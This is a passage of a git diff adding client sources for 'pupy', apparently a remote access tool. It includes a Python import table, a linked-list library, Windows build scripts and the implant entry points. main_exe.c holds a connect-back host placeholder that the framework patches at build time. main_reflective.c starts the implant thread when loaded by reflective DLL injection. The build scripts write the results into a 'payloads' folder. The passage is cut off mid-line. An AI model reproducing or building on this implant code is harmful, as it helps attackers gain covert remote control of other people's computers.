a/client/sources/import-tab.c b/client/sources/import-tab.c new file mode 100644 index 00000000..9fcb911d --- /dev/null +++ b/client/sources/import-tab.c @@ -0,0 +1,69 @@ + { "Py_Initialize", NULL }, + { "PyRun_SimpleString", NULL }, + { "Py_Finalize", NULL }, + { "Py_GetPath", NULL }, + { "Py_SetPythonHome", NULL }, + { "Py_SetProgramName", NULL }, + { "PyMarshal_ReadObjectFromString", NULL }, + { "PyObject_CallFunction", NULL }, + { "PyString_AsStringAndSize", NULL }, + { "PyString_AsString", NULL }, + { "PyArg_ParseTuple", NULL }, + { "PyErr_Format", NULL }, + { "PyImport_ImportModule", NULL }, + { "PyInt_FromLong", NULL }, + { "PyInt_AsLong", NULL }, + { "PyLong_FromVoidPtr", NULL }, +#ifdef _DEBUG + { "Py_InitModule4TraceRefs", NULL }, +#else +# if defined (_WIN64) + { "Py_InitModule4_64", NULL }, +# else + { "Py_InitModule4", NULL }, +# endif +#endif + { "PyTuple_New", NULL }, + { "PyTuple_SetItem", NULL }, + { "Py_IsInitialized", NULL }, + { "PyObject_SetAttrString", NULL }, + { "PyCFunction_NewEx", NULL }, + { "PyObject_GetAttrString", NULL }, + { "Py_BuildValue", NULL }, + { "PyObject_Call", NULL }, + { "PySys_WriteStderr", NULL }, + { "PyErr_Occurred", NULL }, + { "PyErr_Clear", NULL }, + { "PyObject_IsInstance", NULL }, + { "PyInt_Type", NULL }, + { "_Py_NoneStruct", NULL }, + { "PyExc_ImportError", NULL }, + { "PyExc_Exception", NULL }, + { "_Py_PackageContext", NULL }, + { "PyGILState_Ensure", NULL }, + { "PyGILState_Release", NULL }, + { "PySys_SetObject", NULL }, + { "PySys_GetObject", NULL }, + { "PyString_FromString", NULL }, + { "Py_FdIsInteractive", NULL }, + { "PyRun_InteractiveLoop", NULL }, + { "PySys_SetArgv", NULL }, + { "PyImport_AddModule", NULL }, + { "PyModule_GetDict", NULL }, + { "PySequence_Length", NULL }, + { "PySequence_GetItem", NULL }, + { "PyEval_EvalCode", NULL }, + { "PyErr_Print", NULL }, + { "PyBool_FromLong", NULL }, + { "Py_VerboseFlag", NULL }, + { "Py_NoSiteFlag", NULL }, + { "Py_OptimizeFlag", NULL }, + { "Py_IgnoreEnvironmentFlag", NULL }, + { "PyObject_Str", NULL }, + { "PyList_New", NULL }, + { "PyList_SetItem", NULL }, + { "PyList_Append", NULL }, + { "PyThreadState_GetDict", NULL }, + { "PyObject_IsTrue", NULL }, + { "PyErr_SetString", NULL }, + { "PyEval_InitThreads", NULL }, diff --git a/client/sources/import-tab.h b/client/sources/import-tab.h new file mode 100644 index 00000000..3c133295 --- /dev/null +++ b/client/sources/import-tab.h @@ -0,0 +1,61 @@ +#define Py_Initialize ((void(*)(void))imports[0].proc) +#define PyRun_SimpleString ((int(*)(char *))imports[1].proc) +#define Py_Finalize ((void(*)(void))imports[2].proc) +#define Py_GetPath ((char *(*)(void))imports[3].proc) +#define Py_SetPythonHome ((void(*)(char *))imports[4].proc) +#define Py_SetProgramName ((void(*)(char *))imports[5].proc) +#define PyMarshal_ReadObjectFromString ((PyObject *(*)(char *, Py_ssize_t))imports[6].proc) +#define PyObject_CallFunction ((PyObject *(*)(PyObject *, char *, ...))imports[7].proc) +#define PyString_AsStringAndSize ((int(*)(PyObject *, char **, Py_ssize_t *))imports[8].proc) +#define PyString_AsString ((char *(*)(PyObject *))imports[9].proc) +#define PyArg_ParseTuple ((int(*)(PyObject *, char *, ...))imports[10].proc) +#define PyErr_Format ((PyObject *(*)(PyObject *, const char *, ...))imports[11].proc) +#define PyImport_ImportModule ((PyObject *(*)(char *))imports[12].proc) +#define PyInt_FromLong ((PyObject *(*)(long))imports[13].proc) +#define PyInt_AsLong ((long(*)(PyObject *))imports[14].proc) +#define PyLong_FromVoidPtr ((PyObject *(*)(void *))imports[15].proc) +#define Py_InitModule4 ((PyObject *(*)(char *, PyMethodDef *, char *, PyObject *, int))imports[16].proc) +#define PyTuple_New ((PyObject *(*)(Py_ssize_t))imports[17].proc) +#define PyTuple_SetItem ((int(*)(PyObject*, Py_ssize_t, PyObject *))imports[18].proc) +#define Py_IsInitialized ((int(*)(void))imports[19].proc) +#define PyObject_SetAttrString ((int(*)(PyObject *, char *, PyObject *))imports[20].proc) +#define PyCFunction_NewEx ((PyObject *(*)(PyMethodDef *, PyObject *, PyObject *))imports[21].proc) +#define PyObject_GetAttrString ((PyObject *(*)(PyObject *, char *))imports[22].proc) +#define Py_BuildValue ((PyObject *(*)(char *, ...))imports[23].proc) +#define PyObject_Call ((PyObject *(*)(PyObject *, PyObject *, PyObject *))imports[24].proc) +#define PySys_WriteStderr ((void(*)(const char *, ...))imports[25].proc) +#define PyErr_Occurred ((PyObject *(*)(void))imports[26].proc) +#define PyErr_Clear ((void(*)(void))imports[27].proc) +#define PyObject_IsInstance ((int(*)(PyObject *, PyObject *))imports[28].proc) +#define PyInt_Type (*(PyObject(*))imports[29].proc) +#define _Py_NoneStruct (*(PyObject(*))imports[30].proc) +#define PyExc_ImportError (*(PyObject *(*))imports[31].proc) +#define PyExc_Exception (*(PyObject *(*))imports[32].proc) +#define _Py_PackageContext (*(char *(*))imports[33].proc) +#define PyGILState_Ensure ((PyGILState_STATE(*)(void))imports[34].proc) +#define PyGILState_Release ((void(*)(PyGILState_STATE))imports[35].proc) +#define PySys_SetObject ((void(*)(char *, PyObject *))imports[36].proc) +#define PySys_GetObject ((PyObject *(*)(char *))imports[37].proc) +#define PyString_FromString ((PyObject *(*)(char *))imports[38].proc) +#define Py_FdIsInteractive ((int(*)(FILE *, char *))imports[39].proc) +#define PyRun_InteractiveLoop ((int(*)(FILE *, char *))imports[40].proc) +#define PySys_SetArgv ((void(*)(int, char **))imports[41].proc) +#define PyImport_AddModule ((PyObject *(*)(char *))imports[42].proc) +#define PyModule_GetDict ((PyObject *(*)(PyObject *))imports[43].proc) +#define PySequence_Length ((Py_ssize_t(*)(PyObject *))imports[44].proc) +#define PySequence_GetItem ((PyObject *(*)(PyObject *, Py_ssize_t))imports[45].proc) +#define PyEval_EvalCode ((PyObject *(*)(PyCodeObject *, PyObject *, PyObject *))imports[46].proc) +#define PyErr_Print ((void(*)(void))imports[47].proc) +#define PyBool_FromLong ((PyObject *(*)(long))imports[48].proc) +#define Py_VerboseFlag (*(int(*))imports[49].proc) +#define Py_NoSiteFlag (*(int(*))imports[50].proc) +#define Py_OptimizeFlag (*(int(*))imports[51].proc) +#define Py_IgnoreEnvironmentFlag (*(int(*))imports[52].proc) +#define PyObject_Str ((PyObject *(*)(PyObject *))imports[53].proc) +#define PyList_New ((PyObject *(*)(Py_ssize_t))imports[54].proc) +#define PyList_SetItem ((int(*)(PyObject *, Py_ssize_t, PyObject *))imports[55].proc) +#define PyList_Append ((int(*)(PyObject *, PyObject *))imports[56].proc) +#define PyThreadState_GetDict ((PyObject *(*)(void))imports[57].proc) +#define PyObject_IsTrue ((int(*)(PyObject *))imports[58].proc) +#define PyErr_SetString ((void(*)(PyObject *, const char *))imports[59].proc) +#define PyEval_InitThreads ((void(*)(void))imports[60].proc) diff --git a/client/sources/list.c b/client/sources/list.c new file mode 100644 index 00000000..e75290e6 --- /dev/null +++ b/client/sources/list.c @@ -0,0 +1,429 @@ +/*! + * @file list.c + * @brief Definitions for functions that operate on lists. + * @details An implementation of a simple thread safe double linked list structure. Can be used as either + * a stack (via pop/push), a queue (via push/shift) or an array (via get/add/insert/remove). If + * performing a group of actions on a list based on results from list actions, acquire the list + * lock before the group of actions and release lock when done. + */ +//#include "common.h" + +#include +#include +#include + +#include "thread.h" +#include "list.h" + +/*! + * @brief Create a thread-safe double linked list. + * @returns A new instance of a linked list. + * @retval NULL Indicates a memory allocation failure. + */ +PLIST list_create(VOID) +{ + PLIST pList = (PLIST)malloc(sizeof(LIST)); + + if (pList != NULL) + { + pList->start = NULL; + pList->end = NULL; + pList->count = 0; + pList->lock = lock_create(); + + if (pList->lock == NULL) + { + list_destroy(pList); + return NULL; + } + } + return pList; +} + +/*! + * @brief Destroy an existing linked list. + * @details This destroys all nodes and the list itself but not the data held in the + * linked list. This is the responsibility of the caller to destroy. + * @param list The \c LIST instance to destroy. + */ +VOID list_destroy(PLIST pList) +{ + PNODE current_node; + PNODE next_node; + + if (pList != NULL) + { + lock_acquire(pList->lock); + + current_node = pList->start; + + while (current_node != NULL) + { + next_node = current_node->next; + + current_node->next = NULL; + + current_node->prev = NULL; + + free(current_node); + + current_node = next_node; + } + + pList->count = 0; + + lock_release(pList->lock); + + lock_destroy(pList->lock); + + free(pList); + } +} + +/*! + * @brief Get the number of items in the list. + * @param pList The \c LIST to get a count of. + * @returns The number of elements in the list. + * @remark If using this coung value to itterate through the list with `list_get`, acquire + * the lists lock before the `list_count/list_get` block and release it afterwards. + */ +DWORD list_count(PLIST pList) +{ + DWORD count = 0; + + if (pList != NULL) + { + lock_acquire(pList->lock); + + count = pList->count; + + lock_release(pList->lock); + } + + return count; +} + +/*! + * @brief Get the data value held in the list and a specified index. + * @param pList Pointer to the \c LIST to get the element from. + * @param index Index of the element to get; + * @returns Pointer to the item in the list. + * @retval NULL Indicates the element doesn't exist in the list. + * @remark This will perform a linear search from the beginning of the list. + */ +LPVOID list_get(PLIST pList, DWORD index) +{ + LPVOID data = NULL; + PNODE current_node = NULL; + + if (pList == NULL) + return NULL; + + lock_acquire(pList->lock); + + if (pList->count <= index) + { + lock_release(pList->lock); + return NULL; + } + + current_node = pList->start; + + while (current_node != NULL) + { + if (index == 0) + { + break; + } + + current_node = current_node->next; + + index--; + } + + if (current_node != NULL) + { + data = current_node->data; + } + + lock_release(pList->lock); + + return data; +} + +/*! + * @brief Add a data item onto the end of the list. + * @param pList Pointer to the \c LIST to add the item to. + * @param data The data that is to be added to the list. + * @returns Indication of success or failure. + * @sa list_push + */ +BOOL list_add(PLIST pList, LPVOID data) +{ + return list_push(pList, data); +} + +/*! + * @brief Internal function to remove a node from a list. + * @param pList Pointer to the \c LIST containing \c node. + * @param pNode Pointer to the \c NOTE to remove. + * @returns Indication of success or failure. + * @remark Assumes caller has aquired the appropriate lock first. + */ +BOOL list_remove_node(PLIST pList, PNODE pNode) +{ + if (pList == NULL || pNode == NULL) + { + return FALSE; + } + + if (pList->count - 1 == 0) + { + pList->start = NULL; + pList->end = NULL; + } + else + { + if (pList->start == pNode) + { + pList->start = pList->start->next; + pList->start->prev = NULL; + } + else if (pList->end == pNode) + { + pList->end = pList->end->prev; + pList->end->next = NULL; + } + else + { + pNode->next->prev = pNode->prev; + pNode->prev->next = pNode->next; + } + } + + pList->count -= 1; + + pNode->next = NULL; + + pNode->prev = NULL; + + free(pNode); + + return TRUE; +} + +/*! + * @brief Remove a given data item from the list. + * @param pList Pointer to the \c LIST to remove the item from. + * @param data The data that is to be removed from the list. + * @remark Assumes data items are unqique as only the first occurrence is removed. + * @returns Indication of success or failure. + * @sa list_remove_node + */ +BOOL list_remove(PLIST pList, LPVOID data) +{ + BOOL result = FALSE; + PNODE current_node = NULL; + + if (pList == NULL || data == NULL) + { + return FALSE; + } + + lock_acquire(pList->lock); + + current_node = pList->start; + + while (current_node != NULL) + { + if (current_node->data == data) + { + break; + } + + current_node = current_node->next; + } + + result = list_remove_node(pList, current_node); + + lock_release(pList->lock); + + return result; +} + +/*! + * @brief Remove a list item at the specified index. + * @param pList Pointer to the \c LIST to remove the item from. + * @param index Index of the item to remove. + * @returns Indication of success or failure. + */ +BOOL list_delete(PLIST pList, DWORD index) +{ + BOOL result = FALSE; + LPVOID data = NULL; + PNODE current_node = NULL; + + if (pList == NULL) + { + return FALSE; + } + + lock_acquire(pList->lock); + + if (pList->count > index) + { + current_node = pList->start; + + while (current_node != NULL) + { + if (index == 0) + { + result = list_remove_node(pList, current_node); + break; + } + + current_node = current_node->next; + + index--; + } + } + + lock_release(pList->lock); + + return result; +} + +/*! + * @brief Push a data item onto the end of the list. + * @param pList Pointer to the \c LIST to append the data to. + * @param data Pointer to the data to append. + * @returns Indication of success or failure. + */ +BOOL list_push(PLIST pList, LPVOID data) +{ + PNODE pNode = NULL; + + if (pList == NULL) + return FALSE; + + pNode = (PNODE)malloc(sizeof(NODE)); + if (pNode == NULL) + { + return FALSE; + } + + pNode->data = data; + pNode->next = NULL; + pNode->prev = NULL; + + lock_acquire(pList->lock); + + if (pList->end != NULL) + { + pList->end->next = pNode; + + pNode->prev = pList->end; + + pList->end = pNode; + } + else + { + pList->start = pNode; + pList->end = pNode; + } + + pList->count += 1; + + lock_release(pList->lock); + + return TRUE; +} + +/*! + * @brief Pop a data value off the end of the list. + * @param pList Pointer to the \c LIST to pop the value from. + * @returns The popped value. + * @retval NULL Indicates no data in the list. + */ +LPVOID list_pop(PLIST pList) +{ + LPVOID data = NULL; + + if (pList == NULL) + { + return NULL; + } + + lock_acquire(pList->lock); + + if (pList->end != NULL) + { + data = pList->end->data; + + list_remove_node(pList, pList->end); + } + + lock_release(pList->lock); + + return data; +} + +/*! + * @brief Pop a data value off the start of the list. + * @param pList Pointer to the \c LIST to shift the value from. + * @returns The shifted value. + * @retval NULL Indicates no data in the list. + */ +LPVOID list_shift(PLIST pList) +{ + LPVOID data = NULL; + + if (pList == NULL) + { + return NULL; + } + + lock_acquire(pList->lock); + + if (pList->start != NULL) + { + data = pList->start->data; + + list_remove_node(pList, pList->start); + } + + lock_release(pList->lock); + + return data; +} + +/*! + * @brief Iterate over the list and call a function callback on each element. + * @param pList Pointer to the \c LIST to enumerate. + * @param pCallback Callback function to invoke for each element in the list. + * @param pState Pointer to the state to pass with each function call. + */ +BOOL list_enumerate(PLIST pList, PLISTENUMCALLBACK pCallback, LPVOID pState) +{ + PNODE pCurrent; + BOOL bResult; + if (pList == NULL || pCallback == NULL) + { + return FALSE; + } + + lock_acquire(pList->lock); + + + pCurrent=pList->start; + bResult = FALSE; + + while (pCurrent != NULL) + { + bResult = pCallback(pState, pCurrent->data) || bResult; + pCurrent = pCurrent->next; + } + + lock_release(pList->lock); + return bResult; +} diff --git a/client/sources/list.h b/client/sources/list.h new file mode 100644 index 00000000..45263ebc --- /dev/null +++ b/client/sources/list.h @@ -0,0 +1,39 @@ +/*! + * @file list.h + * @brief Declarations for functions that operate on lists. + */ +#ifndef _METERPRETER_LIB_LIST_H +#define _METERPRETER_LIB_LIST_H + +/*! @brief Container struct for data the lives in a list. */ +typedef struct _NODE +{ + struct _NODE * next; ///< Pointer to the next node in the list. + struct _NODE * prev; ///< Pointer to the previous node in the list. + LPVOID data; ///< Reference to the data in the list node. +} NODE, *PNODE; + +/*! @brief Container structure for a list instance. */ +typedef struct _LIST +{ + NODE * start; ///< Pointer to the first node in the list. + NODE * end; ///< Pointer to the last node in the list. + DWORD count; ///< Count of elements in the list. + LOCK * lock; ///< Reference to the list's synchronisation lock. +} LIST, *PLIST; + +typedef BOOL (*PLISTENUMCALLBACK)(LPVOID pState, LPVOID pData); + +LIST * list_create(VOID); +VOID list_destroy(PLIST pList); +DWORD list_count(PLIST pList); +LPVOID list_get(PLIST pList, DWORD index); +BOOL list_add(PLIST pList, LPVOID data); +BOOL list_remove(PLIST pList, LPVOID data); +BOOL list_delete(PLIST pList, DWORD index); +BOOL list_push(PLIST pList, LPVOID data); +LPVOID list_pop(PLIST pList); +LPVOID list_shift(PLIST pList); +BOOL list_enumerate(PLIST pList, PLISTENUMCALLBACK pCallback, LPVOID pState); + +#endif diff --git a/client/sources/main_exe.c b/client/sources/main_exe.c new file mode 100644 index 00000000..29ec0923 --- /dev/null +++ b/client/sources/main_exe.c @@ -0,0 +1,22 @@ +#include +#include +#include +#include +#include "pupy_load.h" + +#pragma comment(linker, "/SUBSYSTEM:windows /ENTRY:mainCRTStartup") + + +/* value ":" will be searched/replaced by the framework to change pupy connect back IP without recompiling the DLL */ +char connect_back_host[100]=":"; //big array to have space for big domain names. +int main(int argc, char *argv[]){ + if (argc==2){ + memcpy(connect_back_host, argv[1], strlen(argv[1])+1); + } + if(strcmp(connect_back_host,":")==0){ + printf("usage: %s :",argv[0]); + return 1; + } + return mainThread(NULL); +} + diff --git a/client/sources/main_reflective.c b/client/sources/main_reflective.c new file mode 100644 index 00000000..1bd90633 --- /dev/null +++ b/client/sources/main_reflective.c @@ -0,0 +1,46 @@ +/* + * Author : Nicolas VERDIER + * + */ +//#pragma comment(lib, "user32") + +#include +#include "pupy_load.h" +#include "ReflectiveDllInjection.h" + +/* value ":" will be searched/replaced by the framework to change pupy connect back IP without recompiling the DLL */ +char connect_back_host[100]=":"; //big array to have space for big domain names. + +extern HINSTANCE hAppInstance; +//===============================================================================================// +BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved ) +{ + HANDLE hThread; + DWORD threadId; + BOOL bReturnValue = TRUE; + switch( dwReason ) + { + case DLL_QUERY_HMODULE: + if( lpReserved != NULL ) + *(HMODULE *)lpReserved = hAppInstance; + break; + case DLL_PROCESS_ATTACH: + //MessageBoxA(0, "injection ok", "injection ok", MB_OK | MB_ICONINFORMATION); + hAppInstance = hinstDLL; + hThread = CreateThread(NULL, + 0, // dwStackSize + mainThread, // lpStartAddress + NULL, // lpParameter + 0, // dwCreationFlags (0==run right after creation) + &threadId + ); + + break; + case DLL_PROCESS_DETACH: + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + break; + } + return bReturnValue; +} + diff --git a/client/sources/make.bat b/client/sources/make.bat new file mode 100644 index 00000000..b1569e5f --- /dev/null +++ b/client/sources/make.bat @@ -0,0 +1,38 @@ +del *.obj +del *.exp +del pupyx86.exe +del pupyx86.dll + +::First: generate resources : +copy resources\python27_x86.dll resources\python27.dll +"C:\\Python27\\python.exe" gen_library_compressed_string.py +copy resources\library_compressed_string_x86.txt resources\library_compressed_string.txt +"C:\\Python27\\python.exe" gen_resource_header.py resources\library_compressed_string.txt +"C:\\Python27\\python.exe" gen_resource_header.py resources\python27.dll +"C:\\Python27\\python.exe" gen_python_bootloader.py +"C:\\Python27\\python.exe" gen_resource_header.py resources\bootloader.pyc +::compile them to obj files : +"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\cl.exe" /c resources_library_compressed_string_txt.c +"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\cl.exe" /c resources_bootloader_pyc.c +"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\cl.exe" /c resources_python27_dll.c + +::then compile + +"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\cl.exe" /c Python-dynload.c /IC:\Python27\include +"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\cl.exe" /c MemoryModule.c +"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\cl.exe" /c _memimporter.c /IC:\Python27\include +"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\cl.exe" /c pupy_load.c /DWIN_X86 /IC:\Python27\include +"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\cl.exe" /c MyLoadLibrary.c /IC:\Python27\include +"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\cl.exe" /O2 /Ob1 /c ReflectiveLoader.c /DWIN_X86 -DREFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN /DREFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR +"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\cl.exe" /c actctx.c +"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\cl.exe" /c pupy.c /IC:\Python27\include +"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\cl.exe" /c LoadLibraryR.c +"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\cl.exe" /c list.c +"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\cl.exe" /c thread.c +"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\cl.exe" /c remote_thread.c +"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\cl.exe" /c base_inject.c /IC:\Python27\include +"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\cl.exe" main_exe.c _memimporter.obj MyLoadLibrary.obj Python-dynload.obj resources_bootloader_pyc.obj resources_python27_dll.obj MemoryModule.obj pupy_load.obj resources_library_compressed_string_txt.obj actctx.obj pupy.obj list.obj thread.obj remote_thread.obj LoadLibraryR.obj base_inject.obj /Fepupyx86.exe +"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\cl.exe" main_reflective.c _memimporter.obj MyLoadLibrary.obj Python-dynload.obj resources_bootloader_pyc.obj resources_python27_dll.obj MemoryModule.obj pupy_load.obj ReflectiveLoader.obj resources_library_compressed_string_txt.obj actctx.obj pupy.obj list.obj thread.obj remote_thread.obj LoadLibraryR.obj base_inject.obj /Fepupyx86.dll /LD +copy pupyx86.dll ..\..\pupy\payloads\ +copy pupyx86.exe ..\..\pupy\payloads\ + diff --git a/client/sources/makex64.bat b/client/sources/makex64.bat new file mode 100644 index 00000000..bbce2e31 --- /dev/null +++ b/client/sources/makex64.bat @@ -0,0 +1,39 @@ +del *.obj +del *.exp +del pupyx64.exe +del pupyx64.dll + +::First: generate resources : +"C:\\Python27\\python.exe" gen_library_compressed_string.py +copy resources\library_compressed_string_x64.txt resources\library_compressed_string.txt +"C:\\Python27\\python.exe" gen_resource_header.py resources\library_compressed_string.txt +copy resources\python27_x64.dll resources\python27.dll +"C:\\Python27\\python.exe" gen_resource_header.py resources\python27.dll +"C:\\Python27\\python.exe" gen_python_bootloader.py +"C:\\Python27\\python.exe" gen_resource_header.py resources\bootloader.pyc +::compile them to obj files : +"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\amd64\cl.exe" /c resources_library_compressed_string_txt.c +"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\amd64\cl.exe" /c resources_bootloader_pyc.c +"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\amd64\cl.exe" /c resources_python27_dll.c + +::then compile + +"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\amd64\cl.exe" /c Python-dynload.c /IC:\Python27\include /D_WIN64 +"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\amd64\cl.exe" /c MemoryModule.c /D_WIN64 +"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\amd64\cl.exe" /c MyLoadLibrary.c /IC:\Python27\include /D_WIN64 +"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\amd64\cl.exe" /c _memimporter.c /IC:\Python27\include /D_WIN64 +"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\amd64\cl.exe" /c pupy_load.c /IC:\Python27\include /DWIN_X64 /D_WIN64 +"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\amd64\cl.exe" /O2 /Ob1 /c ReflectiveLoader.c /DWIN_X64 -DREFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN /DREFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR /D_WIN64 +"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\amd64\cl.exe" /c actctx.c /D_WIN64 +"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\amd64\cl.exe" /c pupy.c /IC:\Python27\include /D_WIN64 +"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\amd64\cl.exe" /c LoadLibraryR.c /D_WIN64 +"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\amd64\cl.exe" /c list.c /D_WIN64 +"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\amd64\cl.exe" /c thread.c /D_WIN64 +"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\amd64\cl.exe" /c remote_thread.c /D_WIN64 +"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\amd64\cl.exe" /c base_inject.c /IC:\Python27\include /D_WIN64 +"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\amd64\cl.exe" main_exe.c _memimporter.obj MyLoadLibrary.obj Python-dynload.obj resources_bootloader_pyc.obj resources_python27_dll.obj MemoryModule.obj pupy_load.obj resources_library_compressed_string_txt.obj actctx.obj pupy.obj list.obj thread.obj remote_thread.obj LoadLibraryR.obj base_inject.obj /Fepupyx64.exe /D_WIN64 +"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\amd64\cl.exe" main_reflective.c _memimporter.obj MyLoadLibrary.obj Python-dynload.obj resources_bootloader_pyc.obj resources_python27_dll.obj MemoryModule.obj pupy_load.obj ReflectiveLoader.obj resources_library_compressed_string_txt.obj actctx.obj pupy.obj list.obj thread.obj remote_thread.obj LoadLibraryR.obj base_inject.obj /Fepupyx64.dll /LD /D_WIN64 + +copy pupyx64.dll ..\..\pupy\payloads\ +copy pupyx64.exe ..\..\pupy\payloads\ + diff --git a/client/sources/mktab.py b/client/sources/mktab.py new file mode 100644 index 00000000..7fc41f03 --- /dev/null +++ b/client/sources/mktab.py @@ -0,0 +1,108 @@ +# A script to generate helper files for dynamic linking to the Python dll +# +decls = ''' +void, Py_Initialize, (void) +int, PyRun_SimpleString, (char *) +void, Py_Finalize, (void) +char *, Py_GetPath, (void) +void, Py_SetPythonHome, (char *) +void, Py_SetProgramName, (char *) +PyObject *, PyMarshal_ReadObjectFromString, (char *, Py_ssize_t) +PyObject *, PyObject_CallFunction, (PyObject *, char *, ...) +int, PyString_AsStringAndSize, (PyObject *, char **, Py_ssize_t *) +char *, PyString_AsString, (PyObject *) +int, PyArg_ParseTuple, (PyObject *, char *, ...) +PyObject *, PyErr_Format, (PyObject *, const char *, ...) +PyObject *, PyImport_ImportModule, (char *) +PyObject *, PyInt_FromLong, (long) +long, PyInt_AsLong, (PyObject *) +PyObject *, PyLong_FromVoidPtr, (void *) +PyObject *, Py_InitModule4, (char *, PyMethodDef *, char *, PyObject *, int) +PyObject *, PyTuple_New, (Py_ssize_t) +int, PyTuple_SetItem, (PyObject*, Py_ssize_t, PyObject *) +int, Py_IsInitialized, (void) +int, PyObject_SetAttrString, (PyObject *, char *, PyObject *) +PyObject *, PyCFunction_NewEx, (PyMethodDef *, PyObject *, PyObject *) +PyObject *, PyObject_GetAttrString, (PyObject *, char *) +PyObject *, Py_BuildValue, (char *, ...) +PyObject *, PyObject_Call, (PyObject *, PyObject *, PyObject *) +void, PySys_WriteStderr, (const char *, ...) +PyObject *, PyErr_Occurred, (void) +void, PyErr_Clear, (void) +int, PyObject_IsInstance, (PyObject *, PyObject *) + +PyObject, PyInt_Type +PyObject, _Py_NoneStruct +PyObject *, PyExc_ImportError +PyObject *, PyExc_Exception +char *, _Py_PackageContext + +PyGILState_STATE, PyGILState_Ensure, (void) +void, PyGILState_Release, (PyGILState_STATE) + +void, PySys_SetObject, (char *, PyObject *) +PyObject *, PySys_GetObject, (char *) +PyObject *, PyString_FromString, (char *) +int, Py_FdIsInteractive, (FILE *, char *) +int, PyRun_InteractiveLoop, (FILE *, char *) +void, PySys_SetArgv, (int, char **) +PyObject *, PyImport_AddModule, (char *) +PyObject *, PyModule_GetDict, (PyObject *) +Py_ssize_t, PySequence_Length, (PyObject *) +PyObject *, PySequence_GetItem, (PyObject *, Py_ssize_t) +//int, PyCode_Check, (PyObject *) +PyObject *, PyEval_EvalCode, (PyCodeObject *, PyObject *, PyObject *) +void, PyErr_Print, (void) +PyObject *, PyBool_FromLong, (long) +int, Py_VerboseFlag +int, Py_NoSiteFlag +int, Py_OptimizeFlag +int, Py_IgnoreEnvironmentFlag +PyObject *, PyObject_Str, (PyObject *) +PyObject *, PyList_New, (Py_ssize_t) +int, PyList_SetItem, (PyObject *, Py_ssize_t, PyObject *) +int, PyList_Append, (PyObject *, PyObject *) +PyObject *, PyThreadState_GetDict, (void) +int, PyObject_IsTrue, (PyObject *) +void, PyErr_SetString, (PyObject *, const char *) +void, PyEval_InitThreads, (void) +'''.strip().splitlines() + + +import string + +hfile = open("import-tab.h", "w") +cfile = open("import-tab.c", "w") + +index = 0 +for decl in decls: + if not decl or decl.startswith("//"): + continue + items = decl.split(',', 2) + if len(items) == 3: + # exported function with argument list + restype, name, argtypes = map(string.strip, items) + print >> hfile, '#define %(name)s ((%(restype)s(*)%(argtypes)s)imports[%(index)d].proc)' % locals() + elif len(items) == 2: + # exported data + typ, name = map(string.strip, items) + print >> hfile, '#define %(name)s (*(%(typ)s(*))imports[%(index)s].proc)' % locals() + else: + raise ValueError, "could not parse %r" % decl + if name == "Py_InitModule4": + print >> cfile, '#ifdef _DEBUG' + print >> cfile, '\t{ "Py_InitModule4TraceRefs", NULL },' % locals() + print >> 